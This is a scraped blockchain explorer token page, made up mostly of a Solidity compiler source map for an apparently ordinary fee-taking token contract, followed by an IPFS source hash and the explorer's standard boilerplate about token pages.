;:::-;-1:-1:-1;;;;;10222:13:0;;;;;;:9;:13;;;;;;:30;;;;:::i;:::-;-1:-1:-1;;;;;10206:13:0;;;;;;;:9;:13;;;;;:46;;;;10268:36;;;10287:16;:6;10298:4;10287:10;:16::i;:::-;10268:36;;1422:25:1;;;1410:2;1395:18;10268:36:0;;;;;;;8335:1977;;8261:2051;;;:::o;12485:107::-;12542:7;12574:1;12570;:5;12569:15;;12583:1;12569:15;;;-1:-1:-1;12579:1:0;12485:107;-1:-1:-1;12485:107:0:o;13051:483::-;5560:6;:13;;-1:-1:-1;;;;5560:13:0;-1:-1:-1;;;5560:13:0;;;13153:16:::1;::::0;;13167:1:::1;13153:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13153:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13153:16:0::1;13129:40;;13198:4;13180;13185:1;13180:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13180:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13224:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13224:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13180:7;;13224:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13214:4;13219:1;13214:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13214:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13289:15:::1;::::0;13257:62:::1;::::0;13274:4:::1;::::0;13289:15:::1;13307:11:::0;13257:8:::1;:62::i;:::-;13330:15;::::0;:196:::1;::::0;-1:-1:-1;;;13330:196:0;;-1:-1:-1;;;;;13330:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13411:11;;13330:15:::1;::::0;13453:4;;13480::::1;::::0;13500:15:::1;::::0;13330:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5596:6:0;:14;;-1:-1:-1;;;;5596:14:0;;;-1:-1:-1;;;;13051:483:0:o;10762:1109::-;10885:7;10894;10914:23;;:::i;:::-;-1:-1:-1;;;;;10948:17:0;;;;;10987:11;;;;;;10948:8;10976;;:22;11085:15;;11073:9;;10954:1;;11029:184;;11209:3;;11029:161;;11073:27;11072:103;;11161:14;;11072:103;;;11125:12;;11072:103;11029:6;;:24;:161::i;:::-;:179;;:184::i;:::-;11249:13;;11009:204;;-1:-1:-1;;;;;;11238:24:0;;;11249:13;;11238:24;:51;;;;-1:-1:-1;;;;;;11266:23:0;;11284:4;11266:23;;11238:51;11234:307;;;11318:211;11525:3;11318:184;11382:16;;11370:9;;:28;11369:114;;11468:15;;11369:114;;;11427:13;;11318:6;;:28;:184::i;:211::-;11306:223;;11234:307;11578:8;;;;11568;;-1:-1:-1;;;;;11568:18:0;;;;;;11597:48;;;;11618:12;;11632;;11611:34;;;;;;;;;11597:48;11660:13;;11656:171;;11735:4;11717:24;;;;:9;:24;;;;;;:36;;11744:9;;11717:36;:::i;:::-;11708:4;11690:24;;;;:9;:24;;;;;;;:63;;;;11773:42;;-1:-1:-1;;;;;11773:42:0;;;;;;;11805:9;1422:25:1;;1410:2;1395:18;;1276:177;11773:42:0;;;;;;;;11656:171;-1:-1:-1;11845:6:0;;-1:-1:-1;11853:9:0;-1:-1:-1;;10762:1109:0;;;;;;;:::o;1831:246::-;1889:7;1913:1;1918;1913:6;1909:47;;-1:-1:-1;1943:1:0;1936:8;;1909:47;1966:9;1978:5;1982:1;1978;:5;:::i;:::-;1966:17;-1:-1:-1;2011:1:0;2002:5;2006:1;1966:17;2002:5;:::i;:::-;:10;1994:56;;;;-1:-1:-1;;;1994:56:0;;14266:2:1;1994:56:0;;;14248:21:1;14305:2;14285:18;;;14278:30;14344:34;14324:18;;;14317:62;-1:-1:-1;;;14395:18:1;;;14388:31;14436:19;;1994:56:0;14064:397:1;2085:132:0;2143:7;2170:39;2174:1;2177;2170:39;;;;;;;;;;;;;;;;;2345:7;2380:12;2373:5;2365:28;;;;-1:-1:-1;;;2365:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2404:9:0;2416:5;2420:1;2416;:5;:::i;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:134::-;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:367::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1043:2;1028:18;;;;1015:32;;-1:-1:-1;;;712:367:1:o;1458:508::-;1535:6;1543;1551;1604:2;1592:9;1583:7;1579:23;1575:32;1572:52;;;1620:1;1617;1610:12;1572:52;1659:9;1646:23;1678:31;1703:5;1678:31;:::i;:::-;1728:5;-1:-1:-1;1785:2:1;1770:18;;1757:32;1798:33;1757:32;1798:33;:::i;:::-;1458:508;;1850:7;;-1:-1:-1;;;1930:2:1;1915:18;;;;1902:32;;1458:508::o;2160:127::-;2221:10;2216:3;2212:20;2209:1;2202:31;2252:4;2249:1;2242:15;2276:4;2273:1;2266:15;2292:1127;2376:6;2429:2;2417:9;2408:7;2404:23;2400:32;2397:52;;;2445:1;2442;2435:12;2397:52;2485:9;2472:23;2518:18;2510:6;2507:30;2504:50;;;2550:1;2547;2540:12;2504:50;2573:22;;2626:4;2618:13;;2614:27;-1:-1:-1;2604:55:1;;2655:1;2652;2645:12;2604:55;2695:2;2682:16;2721:18;2713:6;2710:30;2707:56;;;2743:18;;:::i;:::-;2789:6;2786:1;2782:14;2825:2;2819:9;2888:2;2884:7;2879:2;2875;2871:11;2867:25;2859:6;2855:38;2959:6;2947:10;2944:22;2923:18;2911:10;2908:34;2905:62;2902:88;;;2970:18;;:::i;:::-;3006:2;2999:22;3056;;;3106:2;3136:11;;;3132:20;;;3056:22;3094:15;;3164:19;;;3161:39;;;3196:1;3193;3186:12;3161:39;3228:2;3224;3220:11;3209:22;;3240:148;3256:6;3251:3;3248:15;3240:148;;;3322:23;3341:3;3322:23;:::i;:::-;3310:36;;3375:2;3273:12;;;;3366;3240:148;;;-1:-1:-1;3407:6:1;2292:1127;-1:-1:-1;;;;;;2292:1127:1:o;3424:247::-;3483:6;3536:2;3524:9;3515:7;3511:23;3507:32;3504:52;;;3552:1;3549;3542:12;3504:52;3591:9;3578:23;3610:31;3635:5;3610:31;:::i;3884:388::-;3952:6;3960;4013:2;4001:9;3992:7;3988:23;3984:32;3981:52;;;4029:1;4026;4019:12;3981:52;4068:9;4055:23;4087:31;4112:5;4087:31;:::i;:::-;4137:5;-1:-1:-1;4194:2:1;4179:18;;4166:32;4207:33;4166:32;4207:33;:::i;:::-;4259:7;4249:17;;;3884:388;;;;;:::o;4277:127::-;4338:10;4333:3;4329:20;4326:1;4319:31;4369:4;4366:1;4359:15;4393:4;4390:1;4383:15;4409:375;4497:1;4515:5;4529:249;4550:1;4540:8;4537:15;4529:249;;;4600:4;4595:3;4591:14;4585:4;4582:24;4579:50;;;4609:18;;:::i;:::-;4659:1;4649:8;4645:16;4642:49;;;4673:16;;;;4642:49;4756:1;4752:16;;;;;4712:15;;4529:249;;4789:902;4838:5;4868:8;4858:80;;-1:-1:-1;4909:1:1;4923:5;;4858:80;4957:4;4947:76;;-1:-1:-1;4994:1:1;5008:5;;4947:76;5039:4;5057:1;5052:59;;;;5125:1;5120:174;;;;5032:262;;5052:59;5082:1;5073:10;;5096:5;;;5120:174;5157:3;5147:8;5144:17;5141:43;;;5164:18;;:::i;:::-;-1:-1:-1;;5220:1:1;5206:16;;5279:5;;5032:262;;5378:2;5368:8;5365:16;5359:3;5353:4;5350:13;5346:36;5340:2;5330:8;5327:16;5322:2;5316:4;5313:12;5309:35;5306:77;5303:203;;;-1:-1:-1;5415:19:1;;;5491:5;;5303:203;5538:42;-1:-1:-1;;5563:8:1;5557:4;5538:42;:::i;:::-;5616:6;5612:1;5608:6;5604:19;5595:7;5592:32;5589:58;;;5627:18;;:::i;:::-;5665:20;;4789:902;-1:-1:-1;;;4789:902:1:o;5696:140::-;5754:5;5783:47;5824:4;5814:8;5810:19;5804:4;5783:47;:::i;5841:168::-;5914:9;;;5945;;5962:15;;;5956:22;;5942:37;5932:71;;5983:18;;:::i;6014:350::-;6216:2;6198:21;;;6255:2;6235:18;;;6228:30;6294:28;6289:2;6274:18;;6267:56;6355:2;6340:18;;6014:350::o;6369:127::-;6430:10;6425:3;6421:20;6418:1;6411:31;6461:4;6458:1;6451:15;6485:4;6482:1;6475:15;6501:251;6571:6;6624:2;6612:9;6603:7;6599:23;6595:32;6592:52;;;6640:1;6637;6630:12;6592:52;6672:9;6666:16;6691:31;6716:5;6691:31;:::i;8022:456::-;8110:6;8118;8126;8179:2;8167:9;8158:7;8154:23;8150:32;8147:52;;;8195:1;8192;8185:12;8147:52;-1:-1:-1;;8240:16:1;;8346:2;8331:18;;8325:25;8442:2;8427:18;;;8421:25;8240:16;;8325:25;;-1:-1:-1;8421:25:1;8022:456;-1:-1:-1;8022:456:1:o;8762:277::-;8829:6;8882:2;8870:9;8861:7;8857:23;8853:32;8850:52;;;8898:1;8895;8888:12;8850:52;8930:9;8924:16;8983:5;8976:13;8969:21;8962:5;8959:32;8949:60;;9005:1;9002;8995:12;10930:128;10997:9;;;11018:11;;;11015:37;;;11032:18;;:::i;11063:125::-;11128:9;;;11149:10;;;11146:36;;;11162:18;;:::i;12738:135::-;12777:3;12798:17;;;12795:43;;12818:18;;:::i;:::-;-1:-1:-1;12865:1:1;12854:13;;12738:135::o;12878:959::-;13140:4;13188:3;13177:9;13173:19;13219:6;13208:9;13201:25;13262:6;13257:2;13246:9;13242:18;13235:34;13305:3;13300:2;13289:9;13285:18;13278:31;13329:6;13364;13358:13;13395:6;13387;13380:22;13433:3;13422:9;13418:19;13411:26;;13472:2;13464:6;13460:15;13446:29;;13493:1;13503:195;13517:6;13514:1;13511:13;13503:195;;;13582:13;;-1:-1:-1;;;;;13578:39:1;13566:52;;13647:2;13673:15;;;;13638:12;;;;13614:1;13532:9;13503:195;;;-1:-1:-1;;;;;;;13754:32:1;;;;13749:2;13734:18;;13727:60;-1:-1:-1;;13818:3:1;13803:19;13796:35;13715:3;12878:959;-1:-1:-1;;;12878:959:1:o;13842:217::-;13882:1;13908;13898:132;;13952:10;13947:3;13943:20;13940:1;13933:31;13987:4;13984:1;13977:15;14015:4;14012:1;14005:15;13898:132;-1:-1:-1;14044:9:1;;13842:217::o

Swarm Source

ipfs://d4d1a90f2f0cf3035c3ae932bc170f47e087722be42bdfb1fc82254404eb5268
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.